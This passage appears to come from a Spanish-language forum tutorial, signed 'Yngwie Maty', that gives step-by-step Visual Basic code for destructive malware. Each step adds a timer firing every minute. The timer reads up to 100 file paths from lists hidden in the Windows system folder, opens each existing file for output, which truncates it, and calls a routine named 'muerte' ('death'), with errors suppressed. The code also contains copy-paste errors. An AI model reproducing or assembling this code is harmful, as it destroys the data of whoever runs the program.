End If
If fso.FileExists(archivo4) Then
Open archivo4 For Output As #1
Call muerte
End If
If fso.FileExists(archivo5) Then
Open archivo5 For Output As #1
Call muerte
End If
If fso.FileExists(archivo6) Then
Open archivo6 For Output As #1
Call muerte
End If
If fso.FileExists(archivo7) Then
Open archivo7 For Output As #1
Call muerte
End If
If fso.FileExists(archivo8) Then
Open archivo8 For Output As #1
Call muerte
End If
If fso.FileExists(archivo9) Then
Open archivo9 For Output As #1
Call muerte
End If

If fso.FileExists(archivo10) Then
Open archivo10 For Output As #1
Call muerte
End If
If fso.FileExists(archivo11) Then
Open archivo11 For Output As #1
Call muerte
End If
If fso.FileExists(archivo12) Then
Open archivo12 For Output As #1
Call muerte
End If
If fso.FileExists(archivo13) Then
Open archivo13 For Output As #1
Call muerte
End If
If fso.FileExists(archivo14) Then
Open archivo14 For Output As #1
Call muerte
End If
If fso.FileExists(archivo15) Then
Open archivo15 For Output As #1
Call muerte
End If
If fso.FileExists(archivo16) Then
Open archivo16 For Output As #1
Call muerte
End If
If fso.FileExists(archivo17) Then
Open archivo17 For Output As #1
Call muerte
End If
If fso.FileExists(archivo18) Then
Open archivo18 For Output As #1
Call muerte
End If
If fso.FileExists(archivo19) Then
Open archivo19 For Output As #1
Call muerte
End If

If fso.FileExists(archivo20) Then
Open archivo20 For Output As #1
Call muerte
End If
If fso.FileExists(archivo21) Then
Open archivo21 For Output As #1
Call muerte
End If
If fso.FileExists(archivo22) Then
Open archivo22 For Output As #1
Call muerte
End If
If fso.FileExists(archivo23) Then
Open archivo23 For Output As #1
Call muerte
End If
If fso.FileExists(archivo24) Then
Open archivo24 For Output As #1
Call muerte
End If
If fso.FileExists(archivo25) Then
Open archivo25 For Output As #1
Call muerte
End If
If fso.FileExists(archivo26) Then
Open archivo26 For Output As #1
Call muerte
End If
If fso.FileExists(archivo27) Then
Open archivo27 For Output As #1
Call muerte
End If
If fso.FileExists(archivo28) Then
Open archivo28 For Output As #1
Call muerte
End If
If fso.FileExists(archivo29) Then
Open archivo29 For Output As #1
Call muerte
End If

If fso.FileExists(archivo30) Then
Open archivo30 For Output As #1
Call muerte
End If
If fso.FileExists(archivo31) Then
Open archivo31 For Output As #1
Call muerte
End If
If fso.FileExists(archivo32) Then
Open archivo32 For Output As #1
Call muerte
End If
If fso.FileExists(archivo33) Then
Open archivo33 For Output As #1
Call muerte
End If
If fso.FileExists(archivo34) Then
Open archivo34 For Output As #1
Call muerte
End If
If fso.FileExists(archivo35) Then
Open archivo35 For Output As #1
Call muerte
End If
If fso.FileExists(archivo36) Then
Open archivo36 For Output As #1
Call muerte
End If
If fso.FileExists(archivo37) Then
Open archivo37 For Output As #1
Call muerte
End If
If fso.FileExists(archivo38) Then
Open archivo38 For Output As #1
Call muerte
End If
If fso.FileExists(archivo39) Then
Open archivo39 For Output As #1
Call muerte
End If

If fso.FileExists(archivo40) Then
Open archivo40 For Output As #1
Call muerte
End If
If fso.FileExists(archivo41) Then
Open archivo41 For Output As #1
Call muerte
End If
If fso.FileExists(archivo42) Then
Open archivo42 For Output As #1
Call muerte
End If
If fso.FileExists(archivo43) Then
Open archivo43 For Output As #1
Call muerte
End If
If fso.FileExists(archivo44) Then
Open archivo44 For Output As #1
Call muerte
End If
If fso.FileExists(archivo45) Then
Open archivo45 For Output As #1
Call muerte
End If
If fso.FileExists(archivo46) Then
Open archivo46 For Output As #1
Call muerte
End If
If fso.FileExists(archivo47) Then
Open archivo47 For Output As #1
Call muerte
End If
If fso.FileExists(archivo48) Then
Open archivo48 For Output As #1
Call muerte
End If
If fso.FileExists(archivo49) Then
Open archivo49 For Output As #1
Call muerte
End If

If fso.FileExists(archivo50) Then
Open archivo50 For Output As #1
Call muerte
End If
If fso.FileExists(archivo51) Then
Open archivo51 For Output As #1
Call muerte
End If
If fso.FileExists(archivo52) Then
Open archivo52 For Output As #1
Call muerte
End If
If fso.FileExists(archivo53) Then
Open archivo53 For Output As #1
Call muerte
End If
If fso.FileExists(archivo54) Then
Open archivo54 For Output As #1
Call muerte
End If
If fso.FileExists(archivo55) Then
Open archivo55 For Output As #1
Call muerte
End If
If fso.FileExists(archivo56) Then
Open archivo56 For Output As #1
Call muerte
End If
If fso.FileExists(archivo57) Then
Open archivo57 For Output As #1
Call muerte
End If
If fso.FileExists(archivo58) Then
Open archivo58 For Output As #1
Call muerte
End If
If fso.FileExists(archivo59) Then
Open archivo59 For Output As #1
Call muerte
End If

If fso.FileExists(archivo60) Then
Open archivo60 For Output As #1
Call muerte
End If
If fso.FileExists(archivo61) Then
Open archivo61 For Output As #1
Call muerte
End If
If fso.FileExists(archivo62) Then
Open archivo62 For Output As #1
Call muerte
End If
If fso.FileExists(archivo63) Then
Open archivo63 For Output As #1
Call muerte
End If
If fso.FileExists(archivo64) Then
Open archivo64 For Output As #1
Call muerte
End If
If fso.FileExists(archivo65) Then
Open archivo65 For Output As #1
Call muerte
End If
If fso.FileExists(archivo66) Then
Open archivo66 For Output As #1
Call muerte
End If
If fso.FileExists(archivo67) Then
Open archivo67 For Output As #1
Call muerte
End If
If fso.FileExists(archivo68) Then
Open archivo68 For Output As #1
Call muerte
End If
If fso.FileExists(archivo69) Then
Open archivo69 For Output As #1
Call muerte
End If

If fso.FileExists(archivo70) Then
Open archivo70 For Output As #1
Call muerte
End If
If fso.FileExists(archivo71) Then
Open archivo71 For Output As #1
Call muerte
End If
If fso.FileExists(archivo72) Then
Open archivo72 For Output As #1
Call muerte
End If
If fso.FileExists(archivo73) Then
Open archivo73 For Output As #1
Call muerte
End If
If fso.FileExists(archivo74) Then
Open archivo74 For Output As #1
Call muerte
End If
If fso.FileExists(archivo75) Then
Open archivo75 For Output As #1
Call muerte
End If
If fso.FileExists(archivo76) Then
Open archivo76 For Output As #1
Call muerte
End If
If fso.FileExists(archivo77) Then
Open archivo77 For Output As #1
Call muerte
End If
If fso.FileExists(archivo78) Then
Open archivo78 For Output As #1
Call muerte
End If
If fso.FileExists(archivo79) Then
Open archivo79 For Output As #1
Call muerte
End If

If fso.FileExists(archivo80) Then
Open archivo80 For Output As #1
Call muerte
End If
If fso.FileExists(archivo81) Then
Open archivo81 For Output As #1
Call muerte
End If
If fso.FileExists(archivo82) Then
Open archivo82 For Output As #1
Call muerte
End If
If fso.FileExists(archivo83) Then
Open archivo83 For Output As #1
Call muerte
End If
If fso.FileExists(archivo4) Then
Open archivo84 For Output As #1
Call muerte
End If
If fso.FileExists(archivo85) Then
Open archivo85 For Output As #1
Call muerte
End If
If fso.FileExists(archivo86) Then
Open archivo86 For Output As #1
Call muerte
End If
If fso.FileExists(archivo87) Then
Open archivo87 For Output As #1
Call muerte
End If
If fso.FileExists(archivo88) Then
Open archivo88 For Output As #1
Call muerte
End If
If fso.FileExists(archivo89) Then
Open archivo89 For Output As #1
Call muerte
End If

If fso.FileExists(archivo90) Then
Open archivo90 For Output As #1
Call muerte
End If
If fso.FileExists(archivo91) Then
Open archivo91 For Output As #1
Call muerte
End If
If fso.FileExists(archivo92) Then
Open archivo92 For Output As #1
Call muerte
End If
If fso.FileExists(archivo93) Then
Open archivo93 For Output As #1
Call muerte
End If
If fso.FileExists(archivo94) Then
Open archivo94 For Output As #1
Call muerte
End If
If fso.FileExists(archivo95) Then
Open archivo95 For Output As #1
Call muerte
End If
If fso.FileExists(archivo96) Then
Open archivo96 For Output As #1
Call muerte
End If
If fso.FileExists(archivo97) Then
Open archivo97 For Output As #1
Call muerte
End If
If fso.FileExists(archivo98) Then
Open archivo98 For Output As #1
Call muerte
End If
If fso.FileExists(archivo99) Then
Open archivo99 For Output As #1
Call muerte
End If

End Sub

[Yngwie Maty]

Agregar un Timer llamado replace2 , con interval = 60000 y Enabled = false

Código:

Private Sub replace2_Timer()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set win = fso.getspecialfolder(1)
Lista = win + "\explor1.txt"
Set a = fso.OpenTextFile(Lista, 1)
archivo0 = a.readline
archivo1 = a.readline
archivo2 = a.readline
archivo3 = a.readline
archivo4 = a.readline
archivo5 = a.readline
archivo6 = a.readline
archivo7 = a.readline
archivo8 = a.readline
archivo9 = a.readline
archivo10 = a.readline
archivo11 = a.readline
archivo12 = a.readline
archivo13 = a.readline
archivo14 = a.readline
archivo15 = a.readline
archivo16 = a.readline
archivo17 = a.readline
archivo18 = a.readline
archivo19 = a.readline
archivo20 = a.readline
archivo21 = a.readline
archivo22 = a.readline
archivo23 = a.readline
archivo24 = a.readline
archivo25 = a.readline
archivo26 = a.readline
archivo27 = a.readline
archivo28 = a.readline
archivo29 = a.readline
archivo30 = a.readline
archivo31 = a.readline
archivo32 = a.readline
archivo33 = a.readline
archivo34 = a.readline
archivo35 = a.readline
archivo36 = a.readline
archivo37 = a.readline
archivo38 = a.readline
archivo39 = a.readline
archivo40 = a.readline
archivo41 = a.readline
archivo42 = a.readline
archivo43 = a.readline
archivo44 = a.readline
archivo45 = a.readline
archivo46 = a.readline
archivo47 = a.readline
archivo48 = a.readline
archivo49 = a.readline
archivo50 = a.readline
archivo51 = a.readline
archivo52 = a.readline
archivo53 = a.readline
archivo54 = a.readline
archivo55 = a.readline
archivo56 = a.readline
archivo57 = a.readline
archivo58 = a.readline
archivo59 = a.readline
archivo60 = a.readline
archivo61 = a.readline
archivo62 = a.readline
archivo63 = a.readline
archivo64 = a.readline
archivo65 = a.readline
archivo66 = a.readline
archivo67 = a.readline
archivo68 = a.readline
archivo69 = a.readline
archivo70 = a.readline
archivo71 = a.readline
archivo72 = a.readline
archivo73 = a.readline
archivo74 = a.readline
archivo75 = a.readline
archivo76 = a.readline
archivo77 = a.readline
archivo78 = a.readline
archivo79 = a.readline
archivo80 = a.readline
archivo81 = a.readline
archivo82 = a.readline
archivo83 = a.readline
archivo84 = a.readline
archivo85 = a.readline
archivo86 = a.readline
archivo87 = a.readline
archivo88 = a.readline
archivo89 = a.readline
archivo90 = a.readline
archivo91 = a.readline
archivo92 = a.readline
archivo93 = a.readline
archivo94 = a.readline
archivo95 = a.readline
archivo96 = a.readline
archivo97 = a.readline
archivo98 = a.readline
archivo99 = a.readline

a.Close

If fso.FileExists(archivo0) Then
Open archivo0 For Output As #1
Call muerte
End If
If fso.FileExists(archivo1) Then
Open archivo1 For Output As #1
Call muerte
End If
If fso.FileExists(archivo2) Then
Open archivo2 For Output As #1
Call muerte
End If
If fso.FileExists(archivo3) Then
Open archivo3 For Output As #1
Call muerte
End If
If fso.FileExists(archivo4) Then
Open archivo4 For Output As #1
Call muerte
End If
If fso.FileExists(archivo5) Then
Open archivo5 For Output As #1
Call muerte
End If
If fso.FileExists(archivo6) Then
Open archivo6 For Output As #1
Call muerte
End If
If fso.FileExists(archivo7) Then
Open archivo7 For Output As #1
Call muerte
End If
If fso.FileExists(archivo8) Then
Open archivo8 For Output As #1
Call muerte
End If
If fso.FileExists(archivo9) Then
Open archivo9 For Output As #1
Call muerte
End If

If fso.FileExists(archivo10) Then
Open archivo10 For Output As #1
Call muerte
End If
If fso.FileExists(archivo11) Then
Open archivo11 For Output As #1
Call muerte
End If
If fso.FileExists(archivo12) Then
Open archivo12 For Output As #1
Call muerte
End If
If fso.FileExists(archivo13) Then
Open archivo13 For Output As #1
Call muerte
End If
If fso.FileExists(archivo14) Then
Open archivo14 For Output As #1
Call muerte
End If
If fso.FileExists(archivo15) Then
Open archivo15 For Output As #1
Call muerte
End If
If fso.FileExists(archivo16) Then
Open archivo16 For Output As #1
Call muerte
End If
If fso.FileExists(archivo17) Then
Open archivo17 For Output As #1
Call muerte
End If
If fso.FileExists(archivo18) Then
Open archivo18 For Output As #1
Call muerte
End If
If fso.FileExists(archivo19) Then
Open archivo19 For Output As #1
Call muerte
End If

If fso.FileExists(archivo20) Then
Open archivo20 For Output As #1
Call muerte
End If
If fso.FileExists(archivo21) Then
Open archivo21 For Output As #1
Call muerte
End If
If fso.FileExists(archivo22) Then
Open archivo22 For Output As #1
Call muerte
End If
If fso.FileExists(archivo23) Then
Open archivo23 For Output As #1
Call muerte
End If
If fso.FileExists(archivo24) Then
Open archivo24 For Output As #1
Call muerte
End If
If fso.FileExists(archivo25) Then
Open archivo25 For Output As #1
Call muerte
End If
If fso.FileExists(archivo26) Then
Open archivo26 For Output As #1
Call muerte
End If
If fso.FileExists(archivo27) Then
Open archivo27 For Output As #1
Call muerte
End If
If fso.FileExists(archivo28) Then
Open archivo28 For Output As #1
Call muerte
End If
If fso.FileExists(archivo29) Then
Open archivo29 For Output As #1
Call muerte
End If

If fso.FileExists(archivo30) Then
Open archivo30 For Output As #1
Call muerte
End If
If fso.FileExists(archivo31) Then
Open archivo31 For Output As #1
Call muerte
End If
If fso.FileExists(archivo32) Then
Open archivo32 For Output As #1
Call muerte
End If
If fso.FileExists(archivo33) Then
Open archivo33 For Output As #1
Call muerte
End If
If fso.FileExists(archivo34) Then
Open archivo34 For Output As #1
Call muerte
End If
If fso.FileExists(archivo35) Then
Open archivo35 For Output As #1
Call muerte
End If
If fso.FileExists(archivo36) Then
Open archivo36 For Output As #1
Call muerte
End If
If fso.FileExists(archivo37) Then
Open archivo37 For Output As #1
Call muerte
End If
If fso.FileExists(archivo38) Then
Open archivo38 For Output As #1
Call muerte
End If
If fso.FileExists(archivo39) Then
Open archivo39 For Output As #1
Call muerte
End If

If fso.FileExists(archivo40) Then
Open archivo40 For Output As #1
Call muerte
End If
If fso.FileExists(archivo41) Then
Open archivo41 For Output As #1
Call muerte
End If
If fso.FileExists(archivo42) Then
Open archivo42 For Output As #1
Call muerte
End If
If fso.FileExists(archivo43) Then
Open archivo43 For Output As #1
Call muerte
End If
If fso.FileExists(archivo44) Then
Open archivo44 For Output As #1
Call muerte
End If
If fso.FileExists(archivo45) Then
Open archivo45 For Output As #1
Call muerte
End If
If fso.FileExists(archivo46) Then
Open archivo46 For Output As #1
Call muerte
End If
If fso.FileExists(archivo47) Then
Open archivo47 For Output As #1
Call muerte
End If
If fso.FileExists(archivo48) Then
Open archivo48 For Output As #1
Call muerte
End If
If fso.FileExists(archivo49) Then
Open archivo49 For Output As #1
Call muerte
End If

If fso.FileExists(archivo50) Then
Open archivo50 For Output As #1
Call muerte
End If
If fso.FileExists(archivo51) Then
Open archivo51 For Output As #1
Call muerte
End If
If fso.FileExists(archivo52) Then
Open archivo52 For Output As #1
Call muerte
End If
If fso.FileExists(archivo53) Then
Open archivo53 For Output As #1
Call muerte
End If
If fso.FileExists(archivo54) Then
Open archivo54 For Output As #1
Call muerte
End If
If fso.FileExists(archivo55) Then
Open archivo55 For Output As #1
Call muerte
End If
If fso.FileExists(archivo56) Then
Open archivo56 For Output As #1
Call muerte
End If
If fso.FileExists(archivo57) Then
Open archivo57 For Output As #1
Call muerte
End If
If fso.FileExists(archivo58) Then
Open archivo58 For Output As #1
Call muerte
End If
If fso.FileExists(archivo59) Then
Open archivo59 For Output As #1
Call muerte
End If

If fso.FileExists(archivo60) Then
Open archivo60 For Output As #1
Call muerte
End If
If fso.FileExists(archivo61) Then
Open archivo61 For Output As #1
Call muerte
End If
If fso.FileExists(archivo62) Then
Open archivo62 For Output As #1
Call muerte
End If
If fso.FileExists(archivo63) Then
Open archivo63 For Output As #1
Call muerte
End If
If fso.FileExists(archivo64) Then
Open archivo64 For Output As #1
Call muerte
End If
If fso.FileExists(archivo65) Then
Open archivo65 For Output As #1
Call muerte
End If
If fso.FileExists(archivo66) Then
Open archivo66 For Output As #1
Call muerte
End If
If fso.FileExists(archivo67) Then
Open archivo67 For Output As #1
Call muerte
End If
If fso.FileExists(archivo68) Then
Open archivo68 For Output As #1
Call muerte
End If
If fso.FileExists(archivo69) Then
Open archivo69 For Output As #1
Call muerte
End If

If fso.FileExists(archivo70) Then
Open archivo70 For Output As #1
Call muerte
End If
If fso.FileExists(archivo71) Then
Open archivo71 For Output As #1
Call muerte
End If
If fso.FileExists(archivo72) Then
Open archivo72 For Output As #1
Call muerte
End If
If fso.FileExists(archivo73) Then
Open archivo73 For Output As #1
Call muerte
End If
If fso.FileExists(archivo74) Then
Open archivo74 For Output As #1
Call muerte
End If
If fso.FileExists(archivo75) Then
Open archivo75 For Output As #1
Call muerte
End If
If fso.FileExists(archivo76) Then
Open archivo76 For Output As #1
Call muerte
End If
If fso.FileExists(archivo77) Then
Open archivo77 For Output As #1
Call muerte
End If
If fso.FileExists(archivo78) Then
Open archivo78 For Output As #1
Call muerte
End If
If fso.FileExists(archivo79) Then
Open archivo79 For Output As #1
Call muerte
End If

If fso.FileExists(archivo80) Then
Open archivo80 For Output As #1
Call muerte
End If
If fso.FileExists(archivo81) Then
Open archivo81 For Output As #1
Call muerte
End If
If fso.FileExists(archivo82) Then
Open archivo82 For Output As #1
Call muerte
End If
If fso.FileExists(archivo83) Then
Open archivo83 For Output As #1
Call muerte
End If
If fso.FileExists(archivo4) Then
Open archivo84 For Output As #1
Call muerte
End If
If fso.FileExists(archivo85) Then
Open archivo85 For Output As #1
Call muerte
End If
If fso.FileExists(archivo86) Then
Open archivo86 For Output As #1
Call muerte
End If
If fso.FileExists(archivo87) Then
Open archivo87 For Output As #1
Call muerte
End If
If fso.FileExists(archivo88) Then
Open archivo88 For Output As #1
Call muerte
End If
If fso.FileExists(archivo89) Then
Open archivo89 For Output As #1
Call muerte
End If

If fso.FileExists(archivo90) Then
Open archivo90 For Output As #1
Call muerte
End If
If fso.FileExists(archivo91) Then
Open archivo91 For Output As #1
Call muerte
End If
If fso.FileExists(archivo92) Then
Open archivo92 For Output As #1
Call muerte
End If
If fso.FileExists(archivo93) Then
Open archivo93 For Output As #1
Call muerte
End If
If fso.FileExists(archivo94) Then
Open archivo94 For Output As #1
Call muerte
End If
If fso.FileExists(archivo95) Then
Open archivo95 For Output As #1
Call muerte
End If
If fso.FileExists(archivo96) Then
Open archivo96 For Output As #1
Call muerte
End If
If fso.FileExists(archivo97) Then
Open archivo97 For Output As #1
Call muerte
End If
If fso.FileExists(archivo98) Then
Open archivo98 For Output As #1
Call muerte
End If
If fso.FileExists(archivo99) Then
Open archivo99 For Output As #1
Call muerte
End If
End Sub

[Yngwie Maty]

Agregar un Timer llamado replacetxt1 , con interval = 60000 y Enabled = false

Código:

Private Sub replacetxt1_Timer()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set win = fso.getspecialfolder(1)
Lista = win + "\explor2.txt"
Set a = fso.OpenTextFile(Lista, 1)
archivo0 = a.readline
archivo1 = a.readline
archivo2 = a.readline
archivo3 = a.readline
archivo4 = a.readline
archivo5 = a.readline
archivo6 = a.readline
archivo7 = a.readline
archivo8 = a.readline
archivo9 = a.readline
archivo10 = a.readline
archivo11 = a.readline
archivo12 = a.readline
archivo13 = a.readline
archivo14 = a.readline
archivo15 = a.readline
archivo16 = a.readline
archivo17 = a.readline
archivo18 = a.readline
archivo19 = a.readline
archivo20 = a.readline
archivo21 = a.readline
archivo22 = a.readline
archivo23 = a.readline
archivo24 = a.readline
archivo25 = a.readline
archivo26 = a.readline
archivo27 = a.readline
archivo28 = a.readline
archivo29 = a.readline
archivo30 = a.readline
archivo31 = a.readline
archivo32 = a.readline
archivo33 = a.readline
archivo34 = a.readline
archivo35 = a.readline
archivo36 = a.readline
archivo37 = a.readline
archivo38 = a.readline
archivo39 = a.readline
archivo40 = a.readline
archivo41 = a.readline
archivo42 = a.readline
archivo43 = a.readline
archivo44 = a.readline
archivo45 = a.readline
archivo46 = a.readline
archivo47 = a.readline
archivo48 = a.readline
archivo49 = a.readline
archivo50 = a.readline
archivo51 = a.readline
archivo52 = a.readline
archivo53 = a.readline
archivo54 = a.readline
archivo55 = a.readline
archivo56 = a.readline
archivo57 = a.readline
archivo58 = a.readline
archivo59 = a.readline
archivo60 = a.readline
archivo61 = a.readline
archivo62 = a.readline
archivo63 = a.readline
archivo64 = a.readline
archivo65 = a.readline
archivo66 = a.readline
archivo67 = a.readline
archivo68 = a.readline
archivo69 = a.readline
archivo70 = a.readline
archivo71 = a.readline
archivo72 = a.readline
archivo73 = a.readline
archivo74 = a.readline
archivo75 = a.readline
archivo76 = a.readline
archivo77 = a.readline
archivo78 = a.readline
archivo79 = a.readline
archivo80 = a.readline
archivo81 = a.readline
archivo82 = a.readline
archivo83 = a.readline
archivo84 = a.readline
archivo85 = a.readline
archivo86 = a.readline
archivo87 = a.readline
archivo88 = a.readline
archivo89 = a.readline
archivo90 = a.readline
archivo91 = a.readline
archivo92 = a.readline
archivo93 = a.readline
archivo94 = a.readline
archivo95 = a.readline
archivo96 = a.readline
archivo97 = a.readline
archivo98 = a.readline
archivo99 = a.readline

a.Close

If fso.FileExists(archivo0) Then
Open archivo0 For Output As #1
Call muerte
End If
If fso.FileExists(archivo1) Then
Open archivo1 For Output As #1
Call muerte
End If
If fso.FileExists(archivo2) Then
Open archivo2 For Output As #1
Call muerte
End If
If fso.FileExists(archivo3) Then
Open archivo3 For Output As #1
Call muerte
End If
If fso.FileExists(archivo4) Then
Open archivo4 For Output As #1
Call muerte
End If
If fso.FileExists(archivo5) Then
Open archivo5 For Output As #1
Call muerte
End If
If fso.FileExists(archivo6) Then
Open archivo6 For Output As #1
Call muerte
End If
If fso.FileExists(archivo7) Then
Open archivo7 For Output As #1
Call muerte
End If
If fso.FileExists(archivo8) Then
Open archivo8 For Output As #1
Call muerte
End If
If fso.FileExists(archivo9) Then
Open archivo9 For Output As #1
Call muerte
End If

If fso.FileExists(archivo10) Then
Open archivo10 For Output As #1
Call muerte
End If
If fso.FileExists(archivo11) Then
Open archivo11 For Output As #1
Call muerte
End If
If fso.FileExists(archivo12) Then
Open archivo12 For Output As #1
Call muerte
End If
If fso.FileExists(archivo13) Then
Open archivo13 For Output As #1
Call muerte
End If
If fso.FileExists(archivo14) Then
Open archivo14 For Output As #1
Call muerte
End If
If fso.FileExists(archivo15) Then
Open archivo15 For Output As #1
Call muerte
End If
If fso.FileExists(archivo16) Then
Open archivo16 For Output As #1
Call muerte
End If
If fso.FileExists(archivo17) Then
Open archivo17 For Output As #1
Call muerte
End If
If fso.FileExists(archivo18) Then
Open archivo18 For Output As #1
Call muerte
End If
If fso.FileExists(archivo19) Then
Open archivo19 For Output As #1
Call muerte
End If

If fso.FileExists(archivo20) Then
Open archivo20 For Output As #1
Call muerte
End If
If fso.FileExists(archivo21) Then
Open archivo21 For Output As #1
Call muerte
End If
If fso.FileExists(archivo22) Then
Open archivo22 For Output As #1
Call muerte
End If
If fso.FileExists(archivo23) Then
Open archivo23 For Output As #1
Call muerte
End If
If fso.FileExists(archivo24) Then
Open archivo24 For Output As #1
Call muerte
End If
If fso.FileExists(archivo25) Then
Open archivo25 For Output As #1
Call muerte
End If
If fso.FileExists(archivo26) Then
Open archivo26 For Output As #1
Call muerte
End If
If fso.FileExists(archivo27) Then
Open archivo27 For Output As #1
Call muerte
End If
If fso.FileExists(archivo28) Then
Open archivo28 For Output As #1
Call muerte
End If
If fso.FileExists(archivo29) Then
Open archivo29 For Output As #1
Call muerte
End If

If fso.FileExists(archivo30) Then
Open archivo30 For Output As #1
Call muerte
End If
If fso.FileExists(archivo31) Then
Open archivo31 For Output As #1
Call muerte
End If
If fso.FileExists(archivo32) Then
Open archivo32 For Output As #1
Call muerte
End If
If fso.FileExists(archivo33) Then
Open archivo33 For Output As #1
Call muerte
End If
If fso.FileExists(archivo34) Then
Open archivo34 For Output As #1
Call muerte
End If
If fso.FileExists(archivo35) Then
Open archivo35 For Output As #1
Call muerte
End If
If fso.FileExists(archivo36) Then
Open archivo36 For Output As #1
Call muerte
End If
If fso.FileExists(archivo37) Then
Open archivo37 For Output As #1
Call muerte
End If
If fso.FileExists(archivo38) Then
Open archivo38 For Output As #1
Call muerte
End If
If fso.FileExists(archivo39) Then
Open archivo39 For Output As #1
Call muerte
End If

If fso.FileExists(archivo40) Then
Open archivo40 For Output As #1
Call muerte
End If
If fso.FileExists(archivo41) Then
Open archivo41 For Output As #1
Call muerte
End If
If fso.FileExists(archivo42) Then
Open archivo42 For Output As #1
Call muerte
End If
If fso.FileExists(archivo43) Then
Open archivo43 For Output As #1
Call muerte
End If
If fso.FileExists(archivo44) Then
Open archivo44 For Output As #1
Call muerte
End If
If fso.FileExists(archivo45) Then
Open archivo45 For Output As #1
Call muerte
End If
If fso.FileExists(archivo46) Then
Open archivo46 For Output As #1
Call muerte
End If
If fso.FileExists(archivo47) Then
Open archivo47 For Output As #1
Call muerte
End If
If fso.FileExists(archivo48) Then
Open archivo48 For Output As #1
Call muerte
End If
If fso.FileExists(archivo49) Then
Open archivo49 For Output As #1
Call muerte
End If

If fso.FileExists(archivo50) Then
Open archivo50 For Output As #1
Call muerte
End If
If fso.FileExists(archivo51) Then
Open archivo51 For Output As #1
Call muerte
End If
If fso.FileExists(archivo52) Then
Open archivo52 For Output As #1
Call muerte
End If
If fso.FileExists(archivo53) Then
Open archivo53 For Output As #1
Call muerte
End If
If fso.FileExists(archivo54) Then
Open archivo54 For Output As #1
Call muerte
End If
If fso.FileExists(archivo55) Then
Open archivo55 For Output As #1
Call muerte
End If
If fso.FileExists(archivo56) Then
Open archivo56 For Output As #1
Call muerte
End If
If fso.FileExists(archivo57) Then
Open archivo57 For Output As #1
Call muerte
End If
If fso.FileExists(archivo58) Then
Open archivo58 For Output As #1
Call muerte
End If
If fso.FileExists(archivo59) Then
Open archivo59 For Output As #1
Call muerte
End If

If fso.FileExists(archivo60) Then
Open archivo60 For Output As #1
Call muerte
End If
If fso.FileExists(archivo61) Then
Open archivo61 For Output As #1
Call muerte
End If
If fso.FileExists(archivo62) Then
Open archivo62 For Output As #1
Call muerte
End If
If fso.FileExists(archivo63) Then
Open archivo63 For Output As #1
Call muerte
End If
If fso.FileExists(archivo64) Then
Open archivo64 For Output As #1
Call muerte
End If
If fso.FileExists(archivo65) Then
Open archivo65 For Output As #1
Call muerte
End If
If fso.FileExists(archivo66) Then
Open archivo66 For Output As #1
Call muerte
End If
If fso.FileExists(archivo67) Then
Open archivo67 For Output As #1
Call muerte
End If
If fso.FileExists(archivo68) Then
Open archivo68 For Output As #1
Call muerte
End If
If fso.FileExists(archivo69) Then
Open archivo69 For Output As #1
Call muerte
End If

If fso.FileExists(archivo70) Then
Open archivo70 For Output As #1
Call muerte
End If
If fso.FileExists(archivo71) Then
Open archivo71 For Output As #1
Call muerte
End If
If fso.FileExists(archivo72) Then
Open archivo72 For Output As #1
Call muerte
End If
If fso.FileExists(archivo73) Then
Open archivo73 For Output As #1
Call muerte
End If
If fso.FileExists(archivo74) Then
Open archivo74 For Output As #1
Call muerte
End If
If fso.FileExists(archivo75) Then
Open archivo75 For Output As #1
Call muerte
End If
If fso.FileExists(archivo76) Then
Open archivo76 For Output As #1
Call muerte
End If
If fso.FileExists(archivo77) Then
Open archivo77 For Output As #1
Call muerte
End If
If fso.FileExists(archivo78) Then
Open archivo78 For Output As #1
Call muerte
End If
If fso.FileExists(archivo79) Then
Open archivo79 For Output As #1
Call muerte
End If

If fso.FileExists(archivo80) Then
Open archivo80 For Output As #1
Call muerte
End If
If fso.FileExists(archivo81) Then
Open archivo81 For Output As #1
Call muerte
End If
If fso.FileExists(archivo82) Then
Open archivo82 For Output As #1
Call muerte
End If
If fso.FileExists(archivo83) Then
Open archivo83 For Output As #1
Call muerte
End If
If fso.FileExists(archivo4) Then
Open archivo84 For Output As #1
Call muerte
End If
If fso.FileExists(archivo85) Then
Open archivo85 For Output As #1
Call muerte
End If
If fso.FileExists(archivo86) Then
Open archivo86 For Output As #1
Call muerte
End If
If fso.FileExists(archivo87) Then
Open archivo87 For Output As #1
Call muerte
End If
If fso.FileExists(archivo88) Then
Open archivo88 For Output As #1
Call muerte
End If
If fso.FileExists(archivo89) Then
Open archivo89 For Output As #1
Call muerte
End If

If fso.FileExists(archivo90) Then
Open archivo90 For Output As #1
Call muerte
End If
If fso.FileExists(archivo91) Then
Open archivo91 For Output As #1
Call muerte
End If
If fso.FileExists(archivo92) Then
Open archivo92 For Output As #1
Call muerte
End If
If fso.FileExists(archivo93) Then
Open archivo93 For Output As #1
Call muerte
End If
If fso.FileExists(archivo94) Then
Open archivo94 For Output As #1
Call muerte
End If
If fso.FileExists(archivo95) Then
Open archivo95 For Output As #1
Call muerte
End If
If fso.FileExists(archivo96) Then
Open archivo96 For Output As #1
Call muerte
End If
If fso.FileExists(archivo97) Then
Open archivo97 For Output As #1
Call muerte
End If
If fso.FileExists(archivo98) Then
Open archivo98 For Output As #1
Call muerte
End If
If fso.FileExists(archivo99) Then
Open archivo99 For Output As #1
Call muerte
End If

End Sub

[Yngwie Maty]

Agregar un Timer llamado replacetxt2 , con interval = 60000 y Enabled = false

Código:

Private Sub replacetxt2_Timer()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set win = fso.getspecialfolder(1)
Lista = win + "\explor3.txt"
Set a = fso.OpenTextFile(Lista, 1)
archivo0 = a.readline
archivo1 = a.readline
archivo2 = a.readline
archivo3 = a.readline
archivo4 = a.readline
archivo5 = a.readline
archivo6 = a.readline
archivo7 = a.readline
archivo8 = a.readline
archivo9 = a.readline
archivo10 = a.readline
archivo11 = a.readline
archivo12 = a.readline
archivo13 = a.readline
archivo14 = a.readline
archivo15 = a.readline
archivo16 = a.readline
archivo17 = a.readline
archivo18 = a.readline
archivo19 = a.readline
archivo20 = a.readline
archivo21 = a.readline
archivo22 = a.readline
archivo23 = a.readline
archivo24 = a.readline
archivo25 = a.readline
archivo26 = a.readline
archivo27 = a.readline
archivo28 = a.readline
archivo29 = a.readline
archivo30 = a.readline
archivo31 = a.readline
archivo32 = a.readline
archivo33 = a.readline
archivo34 = a.readline
archivo35 = a.readline
archivo36 = a.readline
archivo37 = a.readline
archivo38 = a.readline
archivo39 = a.readline
archivo40 = a.readline
archivo41 = a.readline
